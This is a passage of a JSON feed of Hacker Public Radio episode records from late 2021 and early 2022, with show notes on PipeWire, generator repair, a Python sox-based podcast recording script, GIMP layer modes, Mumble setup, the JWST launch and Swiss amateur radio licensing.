                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, The Path","version":0,"downloads":0,"valid":1}, {"id":3491,"date":"2021-12-20","title":"My Github and flickmetrix","duration":1553,"summary":"Bear with me as I go though my github over the past year some real gems in here","notes":"\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"scripts,hacking,github,windows,linux","version":0,"downloads":0,"valid":1}, {"id":3492,"date":"2021-12-21","title":"Linux Inlaws S01E44: Pipewire Just another audio server Think again","duration":3170,"summary":"Pipewire - Just another audio server? - Think again!","notes":"

                                                            In this episode - sadly missing Martin as he buggered off to do something\nelse - the remaining Inlaw hosts Wim Taymans, inventor and brain behind\nPipewire, a new approach to Linux audio. Don't miss out on this episode if\nyou're fed up with Pulseaudio (hello Martin :-) or find Jack just too\ncomplicated for every-day usage - you may see audio on Linux from a different\nperspective after this episode... Never mind those of you who are looking for\na crash-course on audio on Linux - this episode is for you!

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Linux audio, Pipewire, PulseAudio, Jack, gstreamer, Rubik's Cube, Kefir","version":0,"downloads":0,"valid":1}, {"id":3493,"date":"2021-12-22","title":"My First Spanish HPR Episode","duration":302,"summary":"A short Spanish episode inspired by discussions about non-English episodes on the HPR mailing list.","notes":"\n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"spanish,languages,castellano,espanol,pubnix,textoplano,podcast","version":0,"downloads":0,"valid":1}, {"id":3494,"date":"2021-12-23","title":"Recent Generator Repairs and Maintenance","duration":1080,"summary":"I talk about my Generac 4000XL gasoline-powered generator and what I've done to get it running right","notes":"

                                                            In this episode I talk about some work I've done recently on my Generac 4000xl portable generator. Here are some images to accompany the episode. First a beefcake shot of the unit:

                                                            \n\n

                                                            \n\n\n

                                                            This is the power panel on the generator

                                                            \n

                                                            \n\n

                                                            Here's the receptacle for the fat cable with a 4-prong plug. This goes right into my main electrical panel.

                                                            \n\n

                                                            \n\n

                                                            Here's the interlock switch on my panel, which allows you to plug the generator into your panel safely.

                                                            \n\n

                                                            \n\n

                                                            Links

                                                            \n\n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Engine repair, generators, electricity, emergency preparedness","version":0,"downloads":0,"valid":1}, {"id":3495,"date":"2021-12-24","title":"Podcast Recommendation: The Retroist","duration":92,"summary":"Podcast Recommendation: The Retroist number 243 - Die Hard","notes":"

                                                            Retroist Podcast Episode 243 (Die Hard)

                                                            \n\n

                                                            A nostalgic look at the action film Die Hard, released in 1988. Also a look at whether or not Die Hard is a Christmas movie.

                                                            \n\n","hostid":318,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"retro,retroist,nostalgia,1988,die hard,bruce willis,podcast","version":0,"downloads":0,"valid":1}, {"id":3496,"date":"2021-12-27","title":"How I record HPR Episodes","duration":1707,"summary":"Some python to record short segments of audio.","notes":"

                                                            https://gitlab.com/norrist/solocast

                                                            \n

                                                            Sample script.txt

                                                            \n
                                                            This is a sample script for solocast.\nSeparate the segments with a blank line\n\nBulleted lists are OK, but keep the items together by not skipping a line\n- Item 1\n- Item 2\n\n### Markdown Formatting is OK\nBut the Formatting gets lost in the script\nso you can write show notes in loosely formatted markdown\n\nDon't have more than 1 blank line separating segments\n
                                                            \n

                                                            solocast.py

                                                            \n
                                                            #! /usr/bin/env python3\n\nimport click\nimport os\nfrom shutil import which\n\nscript_file = "script.txt"\nrecording_directory_name = "Recordings"\nrecording_format = "wav"\nscript_segments = {}\n\n\ndef test_sox_exists():\n    try:\n        assert which("sox")\n    except AssertionError:\n        print("Cant find sox.  Install sox somewhere in your path.")\n        exit(1)\n\n\ndef get_recording_file_name(slug):\n    return f"{recording_directory_name}/{slug}.{recording_format}"\n\n\ndef project_prep():\n    if not os.path.exists(recording_directory_name):\n        os.makedirs(recording_directory_name)\n    if not os.path.exists(f"{recording_directory_name}/Archive"):\n        os.makedirs(f"{recording_directory_name}/Archive")\n\n\ndef wait_for_input():\n    click.echo("*" * 40)\n    _ = input("Press ENTER to Continue")\n\n\ndef add_slug_text(slug, text):\n    script_segments[slug] = text\n\n\ndef recording_exists(slug):\n    if os.path.isfile(get_recording_file_name(slug)):\n        return True\n    return False\n\n\ndef noise_profile_missing():\n    if os.path.isfile(f"{recording_directory_name}/noise.prof"):\n        return False\n    return True\n\n\ndef truncate_audio(slug):\n    recording = get_recording_file_name(slug)\n    new_recording = f"{recording_directory_name}/{slug}-truncated.{recording_format}"\n    click.echo(f"truncating {recording}")\n\n    SOX_CMD = (\n        f"sox -V2 {recording}  {new_recording}   silence -l 1 0.1 .1% -1 1.0 .1%   stat"\n    )\n    click.echo(SOX_CMD)\n    os.system(SOX_CMD)\n    os.system(\n        f" mv -v {recording} {recording_directory_name}/Archive/{slug}.{recording_format}"\n    )\n    os.rename(new_recording, recording)\n    review_audio(slug)\n\n\ndef play_audio(slug):\n    recording = get_recording_file_name(slug)\n    click.echo(f"Playing {recording}")\n    os.system(f"play {recording}")\n    review_audio(slug)\n\n\ndef delete_audio(slug):\n    recording = get_recording_file_name(slug)\n    os.remove(recording)\n\n\ndef review_audio(slug):\n    review_menu = ["(p)lay", "(a)ccept", "(r)eccord again", "(t)runcate"]\n    click.echo(slug)\n    for i in review_menu:\n        click.echo(i)\n    menu_action = input(">> ")\n    if menu_action == "p":\n        play_audio(slug)\n    elif menu_action == "a":\n        exit()\n    elif menu_action == "r":\n        delete_audio(slug)\n        find_and_record_next()\n    elif menu_action == "t":\n        truncate_audio(slug)\n    else:\n        review_audio(slug)\n\n\ndef record_audio(slug):\n    new_recording = get_recording_file_name(slug)\n    click.echo(f"Creating {new_recording}")\n    click.echo("press Enter to start then CRTL-C to quit")\n    wait_for_input()\n    os.system(f"rec {new_recording}")\n\n\ndef record_silent_audio():\n    silent_recording = f"{recording_directory_name}/silence.{recording_format}"\n    click.echo("RECORD 5 SECONDS OF SILENCE \\n" * 5)\n    click.echo("press Enter to start")\n    wait_for_input()\n    os.system(f"rec {silent_recording} trim 0 5")\n    os.system(\n        f"sox {silent_recording} -n noiseprof {recording_directory_name}/noise.prof"\n    )\n\n\ndef load_script():\n    linetext = ""\n    with open(script_file) as script_file_reader:\n        for line in script_file_reader.readlines():\n\n            if not line.strip():\n\n                slug = linetext[:40].title()\n                segment_name = "".join(filter(str.isalnum, slug))\n                add_slug_text(segment_name, linetext)\n                linetext = ""\n\n            else:\n                linetext += f"{line}  \\n"\n\n\ndef combine_recordings_for_export():\n    recording_list = []\n    combined_recording = f"{recording_directory_name}/combined.{recording_format}"\n    for slug, text in script_segments.items():\n        recording = get_recording_file_name(slug)\n        recording_list.append(recording)\n    recording_list_string = " ".join(recording_list)\n    print(recording_list_string)\n    SOX_CMD = f"sox -V3 {recording_list_string}  {combined_recording} noisered {recording_directory_name}/noise.prof 0.21 norm -10"\n    click.echo(SOX_CMD)\n    os.system(SOX_CMD)\n\n\ndef find_and_record_next():\n    for slug, text in script_segments.items():\n        if recording_exists(slug):\n            continue\n        click.clear()\n        click.echo(slug)\n        click.echo("*" * 40)\n        click.echo(text)\n        click.echo("*" * 40)\n        record_audio(slug)\n        review_audio(slug)\n\n\n@click.group()\ndef cli():\n    test_sox_exists()\n    pass\n\n\n@cli.command()\ndef combine():\n    "Combine Segments into single audio file"\n    combine_recordings_for_export()\n\n\n@cli.command()\ndef record():\n    "Record next unrecorded segment"\n    if noise_profile_missing():\n        record_silent_audio()\n    find_and_record_next()\n\n\n@cli.command()\ndef silence():\n    "Generate noise profile"\n    record_silent_audio()\n\n\n\n@cli.command()\ndef review():\n    "Print segments"\n\n    for slug, text in script_segments.items():\n        click.clear()\n        click.echo(slug)\n        click.echo("*" * 40)\n        click.echo()\n        click.echo(text)\n        wait_for_input()\n\n\nif __name__ == "__main__":\n    project_prep()\n    load_script()\n    cli()\n
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python,sox","version":0,"downloads":0,"valid":1}, {"id":3497,"date":"2021-12-28","title":"Jankilators.","duration":1275,"summary":"Follow the wail of the janky scissor monster into the muddy flux of headtorch borderlands. ","notes":"

                                                            Three phase alternating current generated from an axial flux alternator.

                                                            \n

                                                            I did find plans which seem to describe themselves as open. I might get around to posting them at a web site, but that exists much less than other comprehensive banks of searchable information on the internet.

                                                            \n

                                                            Someone suggested some alternators constructed with as many wooden parts as possible, which makes the whole endeavour more accessible and energy efficient. Thank you HPR new year show, for that.

                                                            \n

                                                            Wind turbine towers are the difficult part, and obviously dangerous.

                                                            \n

                                                            Tiny generators are cool to cobble from discarded equipment junk.

                                                            \n

                                                            A solid axial alternator is easy and robust. They can channel a lot of power if the wires are thick enough. Gears exist.

                                                            \n

                                                            Pedal, and hang sacks.

                                                            \n","hostid":398,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"oscillators,complexity,flux,alternator,3phase,field,trees,sky","version":0,"downloads":0,"valid":1}, {"id":3498,"date":"2021-12-29","title":"Linux Inlaws S01E45: The Big Xmas New Year bash with the Grumpies","duration":8076,"summary":"the same as the title so I'm not going to repeat it","notes":"

                                                            In this end of year episode / Xmas bumper our two aging heroes host the Grumpy Old Coders\nonce again. Apart from having lots of fun, our four eclectic panelists discuss the year in\nreview and some obscure predictions the Inlaws made at the end of last year in S01E20 to\nsee if these became true or not. Plus a seriously long commercial break on mainframes\ndone by our own Chris (Arvind / Jim / IBM: If you're listening: the sponsor mail address\nis ibm_sponsor@linuxinlaws.eu). Plus some juicy competitive knowledge about some hyperscalers.\nBeans spilled right from the inside... In addition to cloud nightmares. So if you're into\nhorror after never mind beyond Halloween this is your episode... There might be the odd open source\nangle to this episode but we are not sure and this of course is purely by accident - just find out for yourself! :-)\n

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Mainframes, IBM, Hyperscaler secrets, Rust, old men, programming languages","version":0,"downloads":0,"valid":1}, {"id":3499,"date":"2021-12-30","title":"Fixing a noisy blower motor","duration":264,"summary":"I fix a noisy blower motor that I put off since last winter.","notes":"

                                                            A brief description of fixing a problem I put off from last winter, on the 2013 Hyundai Elantra.

                                                            \n

                                                            Motor with the electrical plug still attached
                                                            \n\"Motor
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            12 volt plug showing where to press the clip to remove it
                                                            \n\"12
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Mess left by the lithium grease spray
                                                            \n\"Mess
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Broken clip: Don't try this
                                                            \n\"Broken
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Motor cage apart, showing the bearing
                                                            \n\"Motor
                                                            Click the thumbnail to see the full-sized image

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

                                                            Attribution

                                                            \n

                                                            The transition sound used between audio clips is found on freesound.org:
                                                            \nName: efectos de sonido cartoon » transition
                                                            \nAuthor: juanto9889
                                                            \nLicense: Creative Commons Zero

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"car,repair,maintenance,bearing","version":0,"downloads":0,"valid":1}, {"id":3500,"date":"2021-12-31","title":"Contrast Layer Modes","duration":1019,"summary":"More on Layer Modes in GIMP with the Contrast Modes","notes":"

                                                            Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the Contrast Modes, which are ways of combining layers that can heighten the contrast my making light pixels lighter and dark pixels darker. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layer Modes, Blending Modes, Contrast Modes","version":0,"downloads":0,"valid":1}, {"id":3501,"date":"2022-01-03","title":"HPR Community News for December 2021","duration":4324,"summary":"HPR Volunteers talk about shows released and comments posted in December 2021","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Mechatroniac.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3478Wed2021-12-01Audio Wiring Hack on a Classroom PodiumJon Kulp
                                                            3479Thu2021-12-02Linux Inlaws S01E49: Version Control Systems and why bothermonochromec
                                                            3480Fri2021-12-03Darken Layer ModesAhuka
                                                            3481Mon2021-12-06HPR Community News for November 2021HPR Volunteers
                                                            3482Tue2021-12-07Introduction to Post Apocalyptic Robotics Meta TechnologyMechatroniac
                                                            3483Wed2021-12-08Pinephone64 reviewsigflup
                                                            3484Thu2021-12-09My vim setup with GnuPGArcher72
                                                            3485Fri2021-12-1050 years since the 1st Edition of Unix was publishedKen Fallon
                                                            3486Mon2021-12-13Unleash the true potential of GNU nano text editorhakerdefo
                                                            3487Tue2021-12-14Installing a cat doorRho`n
                                                            3488Wed2021-12-15Binaural 3d audio recording, please listen at normal speed with good head phones.Quvmoh
                                                            3489Thu2021-12-16Equality of structured errorsTuula
                                                            3490Fri2021-12-17The PathAhuka
                                                            3491Mon2021-12-20My Github and flickmetrixoperat0r
                                                            3492Tue2021-12-21Linux Inlaws S01E44: Pipewire Just another audio server Think againmonochromec
                                                            3493Wed2021-12-22My First Spanish HPR EpisodeClaudio Miranda
                                                            3494Thu2021-12-23Recent Generator Repairs and MaintenanceJon Kulp
                                                            3495Fri2021-12-24Podcast Recommendation: The RetroistArcher72
                                                            3496Mon2021-12-27How I record HPR Episodesnorrist
                                                            3497Tue2021-12-28Jankilators.one_of_spoons
                                                            3498Wed2021-12-29Linux Inlaws S01E45: The Big Xmas New Year bash with the Grumpiesmonochromec
                                                            3499Thu2021-12-30Fixing a noisy blower motorArcher72
                                                            3500Fri2021-12-31Contrast Layer ModesAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 14 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 6 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3292\n(2021-03-16) \"Squirrel FSF blog\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\ndodddummy on 2021-12-18:\n\"Where's the thumbs down button?\"

                                                              \n
                                                            • hpr3394\n(2021-08-05) \"Be an XML star with xmlstarlet\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\ndnt on 2021-12-22:\n\"I consulted this episode this week\"

                                                              \n
                                                            • hpr3473\n(2021-11-24) \"My journey into Amateur Radio\"\nby thelovebug.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nTrey on 2021-12-02:\n\"UGH! Correction.\"

                                                              \n
                                                            • hpr3474\n(2021-11-25) \"H P R and Audio Fun\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nOperat0r on 2021-12-06:\n\"replace Ken Fallon with a script\"
                                                              • \n
                                                              • \nComment 3:\nKen Fallon on 2021-12-07:\n\"Thanks for Volunteering\"
                                                              • \n
                                                              • \nComment 4:\nOperat0r on 2021-12-10:\n\"fun\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 8 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr3478\n(2021-12-01) \"Audio Wiring Hack on a Classroom Podium\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-12-01:\n\"I am sure the Audio/Video department loves you\"

                                                              \n
                                                            • hpr3479\n(2021-12-02) \"Linux Inlaws S01E49: Version Control Systems and why bother\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-12-02:\n\"Thanks for sharing.\"

                                                              \n
                                                            • hpr3482\n(2021-12-07) \"Introduction to Post Apocalyptic Robotics Meta Technology\"\nby Mechatroniac.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2021-12-30:\n\"Fascinating subject\"

                                                              \n
                                                            • hpr3485\n(2021-12-10) \"50 years since the 1st Edition of Unix was published\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmonochromec on 2021-11-24:\n\"The show\"

                                                              \n
                                                            • hpr3493\n(2021-12-22) \"My First Spanish HPR Episode\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDNT on 2021-12-04:\n\"Great episode\"
                                                              • Comment 2:\nOyente#1 on 2021-12-25:\n\"Gracias\"

                                                              \n
                                                            • hpr3495\n(2021-12-24) \"Podcast Recommendation: The Retroist\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-12-24:\n\"Great recommendation\"

                                                              \n
                                                            • hpr3496\n(2021-12-27) \"How I record HPR Episodes\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2021-12-30:\n\"Great show\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-December/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            This month 125 additional shows in the range 1-870 have been uploaded.

                                                            \n

                                                            The number of shows left to upload in this range is now: 244.

                                                            \n

                                                            \nThanks to all HPR contributors in 2021!\n

                                                            \n

                                                            \n2BFrank, Ahuka, Andrew Conway, Anonymous Host, Archer72, arfab, Mr. Young, Beeza, BlacKernel, Brian in Ohio, clacke, Claudio Miranda, Clinton Roy, CoGo, crvs, Daniel Persson, Dave Morriss, deepgeek, dnt, Enigma, hakerdefo, Honkeymagoo, HPR Volunteers, Jezra, Jon Kulp, JWP, Ken Fallon, klaatu, Mechatroniac, minnix, monochromec, MrX, Nihilazo, norrist, o9l, one_of_spoons, operat0r, Paul Quirk, Quvmoh, Rho`n, sigflup, Some Guy On The Internet, swift110, Thaj Sara, thelovebug, timttmy, ToeJet, Trey, TrumpetJohn, Tuula, Windigo, Zen_Floater2.\n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3502,"date":"2022-01-04","title":"New year Greetings and a short review of my new Juno PC","duration":291,"summary":"I just ramble for a few minutes about my new Juno PC","notes":"

                                                            Hi to all HPR listeners this is a short show just to say Hi and a happy New Year to those in HPR land I may not have talked to over the Mumble marathon (and that is most of you). My main news is my new Juno PC which I got just before Christmas and It is a massive upgrade for me from my old Gen 3 i7 PC I was using. In real world tests it is about 5 times faster than my old PC and editing Audio and images is a breeze. I got the Brutus 5000 with a Ryzen 9 5900 CPU 32Gb RAM and a 1TB Nvme SSD. It came pre loaded with Ubuntu 20.04 but I installed Linux Mint 20.2 and after getting the details of the PPA for the Juno Drivers everything is working fine. Ports wise for a tiny PC it is OK but I have added a USB 3 powered Hub with 4 extra ports and in the new year will get one with a few more to help me tidy up the wiring snakes on the desk.

                                                            \n

                                                            For some reason it no longer sees any bootable USB drives at boot after pressing of the boot menu key so a bit of investigation is needed to get that to work again, but on the whole I am a happy camper.

                                                            \n

                                                            Well that's me for this show short as it was if you want more of my ramblings along with my fellow hosts Moss and Dale pop over to Distrohoppers' Digest and see what we have been up to, we record a new show about once a month.

                                                            \n\n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Ubuntu, Linux Mint, Juno computers, Ryzen 5900, New Year Greetings","version":0,"downloads":0,"valid":1}, {"id":3503,"date":"2022-01-05","title":"Configuring Mumble","duration":906,"summary":"In this episode we will show you how to connect to the HPR Community Room on Mumble.","notes":"

                                                            \nThe complete shownotes are available in our mumble how-to. \n

                                                            \n

                                                            \nWhen using Mumble you should always use a microphone and headset positioned close to your mouth but slightly off to the side.\n

                                                            \n

                                                            \nThe Mumble website offers download and install instructions for different operating systems.\n

                                                            \n

                                                            \nOnce you have installed the client then connect to the HPR Room on Mumble.\n

                                                            \nThere is a first run wizard that will step you through the process of configuring Mumble the first time. This will open up a series of configuration options.\n

                                                            \n

                                                            \nIt is very important that you set Push to Talk (PTT) and you Disable Text-To-Speech, as you will disturb the other people in the room if you select the other methods. It may seem to be working fine to you, but it will result in issues for the others.\n

                                                            \n

                                                            \nYou are expected to have a digital certificate when connecting to Mumble servers. An automatically created one is usually fine.\n

                                                            \n

                                                            \nOnce you have the Mumble client set up we can now start the process of connecting to the HPR Room on Mumble.\n

                                                            \n

                                                            \nIf at any time you need to add the HPR server open mumble and press Server - Connect, press Add New...and enter the following information for the HPR server:\n

                                                            \n
                                                              \n
                                                            • Address: chatter.skyehaven.net
                                                            • \n
                                                            • Port: 64738
                                                            • \n
                                                            • Username: Your Username
                                                            • \n
                                                            • Label: chatter.skyehaven.net
                                                            • \n
                                                            \n

                                                            \nThink about your username a bit as if you register it on the server you will not be able to change it again.\n

                                                            \n

                                                            \nBefore connecting to any room it's good etiquette to make sure your audio is working correctly. The room Audio Test will allow you to speak and the OpieTheRepeatherBot will record your speech and after 10 seconds will play it back for you.\n

                                                            \n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"mumble,hpr mumble, new year show","version":0,"downloads":0,"valid":1}, {"id":3504,"date":"2022-01-06","title":"James Webb Space Telescope","duration":2718,"summary":"Andrew and Dave watch the launch of the JWST","notes":"

                                                            Overview

                                                            \n

                                                            On Christmas Day 2021 at 12:20 UTC the James Webb Space Telescope was launched. This is the largest telescope ever sent into space and the project has been delayed for many years. The entire astronomical community was very nervous about the launch and about the phase that will follow as the telescope is set up for use.

                                                            \n

                                                            Andrew Conway was previously a professional Astronomer, and Dave is very interested in the subject as an amateur. They got together on Mumble to witness the launch, and the dialogue was recorded and is presented here.

                                                            \n

                                                            The JWST

                                                            \n

                                                            Quote from Wikipedia (a page that is being updated as the project proceeds):

                                                            \n
                                                            \n

                                                            The James Webb Space Telescope (JWST) is a space telescope developed by NASA with contributions from the European Space Agency (ESA), and the Canadian Space Agency (CSA). The telescope is named after James E. Webb, who was the administrator of NASA from 1961 to 1968 and played an integral role in the Apollo program. It is intended to succeed the Hubble Space Telescope as NASA’s flagship mission in astrophysics. JWST was launched 25 December 2021 on Ariane flight VA256. It is designed to provide improved infrared resolution and sensitivity over Hubble, and will enable a broad range of investigations across the fields of astronomy and cosmology, including observations of some of the most distant events and objects in the Universe such as the formation of the first galaxies, and allowing detailed atmospheric characterization of potentially habitable exoplanets.

                                                            \n

                                                            JWST’s primary mirror, the Optical Telescope Element, consists of 18 hexagonal mirror segments made of gold-plated beryllium which combine to create a 6.5 meter (21 ft 4 inch) diameter mirror – considerably larger than Hubble’s 2.4 m (7.9 ft) mirror. Unlike Hubble, which observes in the near ultraviolet, visible, and near infrared (0.1–1.0 μm) spectra, JWST will observe in a lower frequency range, from long-wavelength visible light (red) through mid-infrared (0.6–28.3 μm). This will enable it to observe high-redshift objects that are too old and too distant for Hubble. The telescope must be kept very cold to observe in the infrared without interference, so it will be deployed in space near the Sun–Earth L2 Lagrange point, about 1.5 million kilometers (930,000 mi) from Earth. A large sunshield made of silicon- and aluminum-coated Kapton will keep its mirror and instruments below 50 K (−223 °C; −370 °F).

                                                            \n

                                                            The NASA Goddard Space Flight Center (GSFC) in Maryland managed the development and the Space Telescope Science Institute is operating JWST. The prime contractor was Northrop Grumman.

                                                            \n

                                                            Development began in 1996 for a launch that was initially planned for 2007 with a US$500 million budget. There were many delays and cost overruns, including a major redesign in 2005, a ripped sunshield during a practice deployment, a recommendation from an independent review board, the COVID-19 pandemic, issues with the Ariane 5 rocket and the telescope itself, and communications issues between the telescope and the launch vehicle. Concerns among the involved scientists and engineers about the launch and deployment of the telescope have been well-described.

                                                            \n

                                                            Construction was completed in late 2016, when an extensive testing phase began. JWST was launched 12:20 UTC 25 December 2021 by an Ariane 5 launch vehicle from Kourou, French Guiana and was released from the upper stage 27 minutes later. The telescope was confirmed to be receiving power, and as of December 2021 is traveling to its target destination.

                                                            \n
                                                            \n

                                                            Witnessing the launch

                                                            \n

                                                            Andrew and Dave came up with the idea of watching the launch and talking about it on Mumble. Although this was not originally planned, the audio was recorded, and is included here.

                                                            \n

                                                            Note: Dave’s audio had a background hum which has been reduced a little with Audacity’s notch filter. Hopefully it’s not too distracting.

                                                            \n

                                                            We were puzzled that the altitude of the final stage of the rocket plus telescope decreased during launch. See the link below to a YouTube episode from Anton Petrov explaining what was going on.

                                                            \n

                                                            In the context of orbital mechanics, Dave spoke of another mission which is heading to Mercury but passing by inner planets to adjust speed. The name couldn’t be recalled at the time, but it was BepiColombo which is taking a 7-year path to its destination.

                                                            \n

                                                            Deployment after launch

                                                            \n

                                                            At the time of preparing these notes (2022-01-02) the JWST is en route to the (Sun-Earth) L2 point, about 1 million miles (1.5 million kilometres) from Earth. Along the way it is preparing itself for use, deploying the features which were folded up or stowed away when it was being launched. See the deployment explorer site for details of what is happening.

                                                            \n

                                                            There are enormous amounts of information about this project on the web, some examples of which are linked below. Searching with your favourite search engine will certainly reveal more.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"astronomy,telescope,rocket launch,JWST,NASA,ESA,CSA","version":0,"downloads":0,"valid":1}, {"id":3505,"date":"2022-01-07","title":"A DX with Hotel Bravo 9 Hotel November Tango","duration":2890,"summary":"Ken (PA7KEN) and Beni (HB9HNT) talk about getting your HAM ticket in Switzerland","notes":"

                                                            HAM Radio Organizations

                                                            \n

                                                            \nThe HAM Page of the Swiss Federal Office of Communications, BAKOM: https://www.bakom.admin.ch/bakom/de/home/frequenzen-antennen/frequenznutzung-mit-oder-ohne-konzessionen/amateurfunk.html\n

                                                            \n

                                                            \nUnion of Swiss Short Wave Amateurs, they manage the local associations and the use of the frequencies for relays and automated stations: https://www.uska.ch/en/\n

                                                            \n\n

                                                            Training

                                                            \n\n

                                                            \nMost likely the best way to prepare for the exam is attending a preparation course from a local Association, of have a brother who did and forwarded all the background info and documents to me. ;) But apart from having a brother I did the following:\n

                                                            \n

                                                            \nThe online version of the books I read: https://www.darc.de/der-club/referate/ajw/darc-online-lehrgang/ - again in German. They're mainly geared towards the German exams but the knowledge contained is useful for the Swiss exams, too.\n

                                                            \n

                                                            \nI mainly used the HamRadioTrainer to prepare for the exam. This is a Windows application which however works pretty well in wine. I was told that the Swiss questions are rather old, 2017ish.\n

                                                            \n

                                                            \nI was told that there are mobile apps with more recent questions but I couldn't be bothered to check whether they exist on F-Droid.\n

                                                            \n

                                                            \nThe BAKOM also has a site about the exams, containing PDFs with example questions, of course again everything in German: https://www.bakom.admin.ch/bakom/de/home/frequenzen-antennen/funkerpruefungen/amateurfunk-pruefungen.html\n

                                                            ","hostid":288,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"Swiss,BAKOM,HamRadioTrainer,HB9","version":0,"downloads":0,"valid":1}, {"id":3506,"date":"2022-01-10","title":"HPR CONTEST 2022 01","duration":119,"summary":"I give away 50$ prize !","notes":"

                                                            Upload today!

                                                            \n

                                                            https://hackerpublicradio.org/calendar.php

                                                            \n

                                                            RULES:

                                                            \n
                                                              \n
                                                            • only new host or existing host interviewing a 3rd party
                                                            • \n
                                                            • I pick the winner
                                                            • \n
                                                            • don't abuse the system to win the prize ;P
                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"contest","version":0,"downloads":0,"valid":1}, {"id":3507,"date":"2022-01-11","title":"USB Turntable fix and sound journey","duration":528,"summary":"USB Turntable fix and sound journey with arecord, asound and ffmpeg","notes":"

                                                            Partial list of albums

                                                            \n
                                                              \n
                                                            • Journey - Frontiers
                                                            • \n
                                                            • Journey - Evolution
                                                            • \n
                                                            • Journey - Greatest Hits
                                                            • \n
                                                            • Journey - Departure
                                                            • \n
                                                            • Chicago - 2 albums - unknown titles
                                                            • \n
                                                            • John Denver - Rocky Mountain Christmas
                                                            • \n
                                                            • Inside Star Trek (1976)\n
                                                                \n
                                                              • SIDE I Inside Star Trek Star Trek Theme William Shatner Meets Captain Kirk The Origin of Spock Sarek's Son Spock The Questor Affair
                                                              • \n
                                                              • SIDE II The Enterprise Runs Aground McCoy's Rx for Life The Star Trek Philosophy Asimov's World of Science Fiction A Letter From a Network Censor The Star Trek Dream Ballad I/Ballad II)*
                                                              • \n
                                                            • \n
                                                            \n

                                                            Inside Star Trek album: Cover
                                                            \n
